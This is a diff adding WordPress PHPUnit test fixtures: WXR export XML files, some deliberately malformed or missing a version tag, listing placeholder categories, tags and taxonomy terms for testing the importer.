+	<wp:author><wp:author_login>john</wp:author_login><wp:author_email>johndoe@example.org</wp:author_email><wp:author_display_name><![CDATA[John Doe]]></wp:author_display_name><wp:author_first_name><![CDATA[John]]></wp:author_first_name><wp:author_last_name><![CDATA[Doe]]></wp:author_last_name></wp:author>
+	<wp:category><wp:term_id>1</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>2</wp:term_id><wp:category_nicename>bar</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Bar]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[beta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>4</wp:term_id><wp:category_nicename>delta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[delta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>5</wp:term_id><wp:category_nicename>epsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[epsilon]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>6</wp:term_id><wp:category_nicename>eta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[eta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>7</wp:term_id><wp:category_nicename>foo</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>8</wp:term_id><wp:category_nicename>foo-bar</wp:category_nicename><wp:category_parent>bar</wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>9</wp:term_id><wp:category_nicename>gamma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[gamma]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>10</wp:term_id><wp:category_nicename>iota</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[iota]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>11</wp:term_id><wp:category_nicename>kappa</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[kappa]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>12</wp:term_id><wp:category_nicename>lambda</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[lambda]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>13</wp:term_id><wp:category_nicename>level-1</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Level 1]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>14</wp:term_id><wp:category_nicename>level-2</wp:category_nicename><wp:category_parent>level-1</wp:category_parent><wp:cat_name><![CDATA[Level 2]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>15</wp:term_id><wp:category_nicename>level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>16</wp:term_id><wp:category_nicename>parent</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[pArEnT]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>17</wp:term_id><wp:category_nicename>theta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[theta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>18</wp:term_id><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>19</wp:term_id><wp:category_nicename>zeta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[zeta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>20</wp:term_id><wp:category_nicename>also-level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Also Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>21</wp:term_id><wp:category_nicename>child</wp:category_nicename><wp:category_parent>parent</wp:category_parent><wp:cat_name><![CDATA[CHILD]]></wp:cat_name></wp:category>
+	<wp:tag><wp:term_id>22</wp:term_id><wp:tag_slug>clippable</wp:tag_slug><wp:tag_name><![CDATA[Clippable]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>23</wp:term_id><wp:tag_slug>deuterogamy</wp:tag_slug><wp:tag_name><![CDATA[Deuterogamy]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>24</wp:term_id><wp:tag_slug>entablement</wp:tag_slug><wp:tag_name><![CDATA[Entablement]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>25</wp:term_id><wp:tag_slug>intermembral</wp:tag_slug><wp:tag_name><![CDATA[Intermembral]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>26</wp:term_id><wp:tag_slug>masticatory</wp:tag_slug><wp:tag_name><![CDATA[Masticatory]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>27</wp:term_id><wp:tag_slug>obligato</wp:tag_slug><wp:tag_name><![CDATA[Obligato]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>28</wp:term_id><wp:tag_slug>occultation</wp:tag_slug><wp:tag_name><![CDATA[Occultation]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>29</wp:term_id><wp:tag_slug>onion</wp:tag_slug><wp:tag_name><![CDATA[Onion]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>30</wp:term_id><wp:tag_slug>pontonier</wp:tag_slug><wp:tag_name><![CDATA[Pontonier]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>31</wp:term_id><wp:tag_slug>rooftree</wp:tag_slug><wp:tag_name><![CDATA[Rooftree]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>32</wp:term_id><wp:tag_slug>saccule</wp:tag_slug><wp:tag_name><![CDATA[Saccule]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>33</wp:term_id><wp:tag_slug>salpa</wp:tag_slug><wp:tag_name><![CDATA[Salpa]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>34</wp:term_id><wp:tag_slug>tag-1</wp:tag_slug><wp:tag_name><![CDATA[tag 1]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>35</wp:term_id><wp:tag_slug>tag-2</wp:tag_slug><wp:tag_name><![CDATA[tag 2]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>36</wp:term_id><wp:tag_slug>tag-3</wp:tag_slug><wp:tag_name><![CDATA[tag 3]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>37</wp:term_id><wp:tag_slug>tag-4</wp:tag_slug><wp:tag_name><![CDATA[tag 4]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>38</wp:term_id><wp:tag_slug>tag-5</wp:tag_slug><wp:tag_name><![CDATA[tag 5]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>39</wp:term_id><wp:tag_slug>tentage</wp:tag_slug><wp:tag_name><![CDATA[Tentage]]></wp:tag_name></wp:tag>
+	<wp:term><wp:term_id>40</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>bieup</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[bieup]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>41</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>42</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>digeut</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[digeut]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>43</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>giyeok</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[giyeok]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>44</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>halb</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[halb]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>45</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>mieum</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[mieum]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>46</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>nieun</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[nieun]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>47</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>parent-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[Parent]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>48</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>rieul</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[rieul]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>49</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>siot</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[siot]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>50</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-1</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 1]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>51</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 2]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>52</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah-halb</wp:term_slug><wp:term_parent>halb</wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>53</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>child-parent-2</wp:term_slug><wp:term_parent>parent-2</wp:term_parent><wp:term_name><![CDATA[chilD]]></wp:term_name></wp:term>
+</channel>
+</rss>
Index: /tags/5.0.20/tests/phpunit/data/export/malformed.xml
===================================================================
--- /tags/5.0.20/tests/phpunit/data/export/malformed.xml	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/export/malformed.xml	(revision 56912)
@@ -0,0 +1,91 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- NB: This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages comments, categories, etc. -->
+<!--    contained in this file into your blog. -->
+
+<!-- generator="WordPress/3.1-alpha" created="2010-10-09 15:12" -->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<notachanneltag>
+	<title>WXR Test Data</title>
+	<link>http://localhost/</link>
+	<description>Blog with sample content for testing</description>
+	<pubDate>Sat, 09 Oct 2010 15:12:29 +0000</pubDate>
+	<language>en</language>
+	<wp:wxr_version>abc</wp:wxr_version>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+	<wp:author><wp:author_login>john</wp:author_login><wp:author_email>johndoe@example.org</wp:author_email><wp:author_display_name><![CDATA[John Doe]]></wp:author_display_name><wp:author_first_name><![CDATA[John]]></wp:author_first_name><wp:author_last_name><![CDATA[Doe]]></wp:author_last_name></wp:author>
+	<wp:category><wp:term_id>1</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>2</wp:term_id><wp:category_nicename>bar</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Bar]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[beta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>4</wp:term_id><wp:category_nicename>delta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[delta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>5</wp:term_id><wp:category_nicename>epsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[epsilon]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>6</wp:term_id><wp:category_nicename>eta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[eta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>7</wp:term_id><wp:category_nicename>foo</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>8</wp:term_id><wp:category_nicename>foo-bar</wp:category_nicename><wp:category_parent>bar</wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>9</wp:term_id><wp:category_nicename>gamma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[gamma]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>10</wp:term_id><wp:category_nicename>iota</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[iota]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>11</wp:term_id><wp:category_nicename>kappa</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[kappa]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>12</wp:term_id><wp:category_nicename>lambda</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[lambda]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>13</wp:term_id><wp:category_nicename>level-1</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Level 1]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>14</wp:term_id><wp:category_nicename>level-2</wp:category_nicename><wp:category_parent>level-1</wp:category_parent><wp:cat_name><![CDATA[Level 2]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>15</wp:term_id><wp:category_nicename>level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>16</wp:term_id><wp:category_nicename>parent</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[pArEnT]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>17</wp:term_id><wp:category_nicename>theta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[theta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>18</wp:term_id><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>19</wp:term_id><wp:category_nicename>zeta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[zeta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>20</wp:term_id><wp:category_nicename>also-level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Also Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>21</wp:term_id><wp:category_nicename>child</wp:category_nicename><wp:category_parent>parent</wp:category_parent><wp:cat_name><![CDATA[CHILD]]></wp:cat_name></wp:category>
+	<wp:tag><wp:term_id>22</wp:term_id><wp:tag_slug>clippable</wp:tag_slug><wp:tag_name><![CDATA[Clippable]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>23</wp:term_id><wp:tag_slug>deuterogamy</wp:tag_slug><wp:tag_name><![CDATA[Deuterogamy]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>24</wp:term_id><wp:tag_slug>entablement</wp:tag_slug><wp:tag_name><![CDATA[Entablement]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>25</wp:term_id><wp:tag_slug>intermembral</wp:tag_slug><wp:tag_name><![CDATA[Intermembral]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>26</wp:term_id><wp:tag_slug>masticatory</wp:tag_slug><wp:tag_name><![CDATA[Masticatory]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>27</wp:term_id><wp:tag_slug>obligato</wp:tag_slug><wp:tag_name><![CDATA[Obligato]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>28</wp:term_id><wp:tag_slug>occultation</wp:tag_slug><wp:tag_name><![CDATA[Occultation]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>29</wp:term_id><wp:tag_slug>onion</wp:tag_slug><wp:tag_name><![CDATA[Onion]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>30</wp:term_id><wp:tag_slug>pontonier</wp:tag_slug><wp:tag_name><![CDATA[Pontonier]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>31</wp:term_id><wp:tag_slug>rooftree</wp:tag_slug><wp:tag_name><![CDATA[Rooftree]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>32</wp:term_id><wp:tag_slug>saccule</wp:tag_slug><wp:tag_name><![CDATA[Saccule]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>33</wp:term_id><wp:tag_slug>salpa</wp:tag_slug><wp:tag_name><![CDATA[Salpa]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>34</wp:term_id><wp:tag_slug>tag-1</wp:tag_slug><wp:tag_name><![CDATA[tag 1]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>35</wp:term_id><wp:tag_slug>tag-2</wp:tag_slug><wp:tag_name><![CDATA[tag 2]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>36</wp:term_id><wp:tag_slug>tag-3</wp:tag_slug><wp:tag_name><![CDATA[tag 3]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>37</wp:term_id><wp:tag_slug>tag-4</wp:tag_slug><wp:tag_name><![CDATA[tag 4]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>38</wp:term_id><wp:tag_slug>tag-5</wp:tag_slug><wp:tag_name><![CDATA[tag 5]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>39</wp:term_id><wp:tag_slug>tentage</wp:tag_slug><wp:tag_name><![CDATA[Tentage]]></wp:tag_name></wp:tag>
+	<wp:term><wp:term_id>40</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>bieup</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[bieup]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>41</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>42</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>digeut</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[digeut]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>43</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>giyeok</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[giyeok]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>44</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>halb</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[halb]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>45</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>mieum</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[mieum]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>46</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>nieun</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[nieun]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>47</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>parent-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[Parent]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>48</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>rieul</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[rieul]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>49</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>siot</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[siot]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>50</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-1</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 1]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>51</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 2]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>52</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah-halb</wp:term_slug><wp:term_parent>halb</wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>53</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>child-parent-2</wp:term_slug><wp:term_parent>parent-2</wp:term_parent><wp:term_name><![CDATA[chilD]]></wp:term_name></wp:term>
+</channel>
+</rss>
Index: /tags/5.0.20/tests/phpunit/data/export/missing-version-tag.xml
===================================================================
--- /tags/5.0.20/tests/phpunit/data/export/missing-version-tag.xml	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/export/missing-version-tag.xml	(revision 56912)
@@ -0,0 +1,90 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- NB: This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages comments, categories, etc. -->
+<!--    contained in this file into your blog. -->
+
+<!-- generator="WordPress/3.1-alpha" created="2010-10-09 15:12" -->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<channel>
+	<title>WXR Test Data</title>
+	<link>http://localhost/</link>
+	<description>Blog with sample content for testing</description>
+	<pubDate>Sat, 09 Oct 2010 15:12:29 +0000</pubDate>
+	<language>en</language>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+	<wp:author><wp:author_login>john</wp:author_login><wp:author_email>johndoe@example.org</wp:author_email><wp:author_display_name><![CDATA[John Doe]]></wp:author_display_name><wp:author_first_name><![CDATA[John]]></wp:author_first_name><wp:author_last_name><![CDATA[Doe]]></wp:author_last_name></wp:author>
+	<wp:category><wp:term_id>1</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>2</wp:term_id><wp:category_nicename>bar</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Bar]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[beta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>4</wp:term_id><wp:category_nicename>delta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[delta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>5</wp:term_id><wp:category_nicename>epsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[epsilon]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>6</wp:term_id><wp:category_nicename>eta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[eta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>7</wp:term_id><wp:category_nicename>foo</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>8</wp:term_id><wp:category_nicename>foo-bar</wp:category_nicename><wp:category_parent>bar</wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>9</wp:term_id><wp:category_nicename>gamma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[gamma]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>10</wp:term_id><wp:category_nicename>iota</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[iota]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>11</wp:term_id><wp:category_nicename>kappa</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[kappa]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>12</wp:term_id><wp:category_nicename>lambda</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[lambda]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>13</wp:term_id><wp:category_nicename>level-1</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Level 1]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>14</wp:term_id><wp:category_nicename>level-2</wp:category_nicename><wp:category_parent>level-1</wp:category_parent><wp:cat_name><![CDATA[Level 2]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>15</wp:term_id><wp:category_nicename>level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>16</wp:term_id><wp:category_nicename>parent</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[pArEnT]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>17</wp:term_id><wp:category_nicename>theta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[theta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>18</wp:term_id><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>19</wp:term_id><wp:category_nicename>zeta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[zeta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>20</wp:term_id><wp:category_nicename>also-level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Also Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>21</wp:term_id><wp:category_nicename>child</wp:category_nicename><wp:category_parent>parent</wp:category_parent><wp:cat_name><![CDATA[CHILD]]></wp:cat_name></wp:category>
+	<wp:tag><wp:term_id>22</wp:term_id><wp:tag_slug>clippable</wp:tag_slug><wp:tag_name><![CDATA[Clippable]]></wp:tag_name></wp:tag>
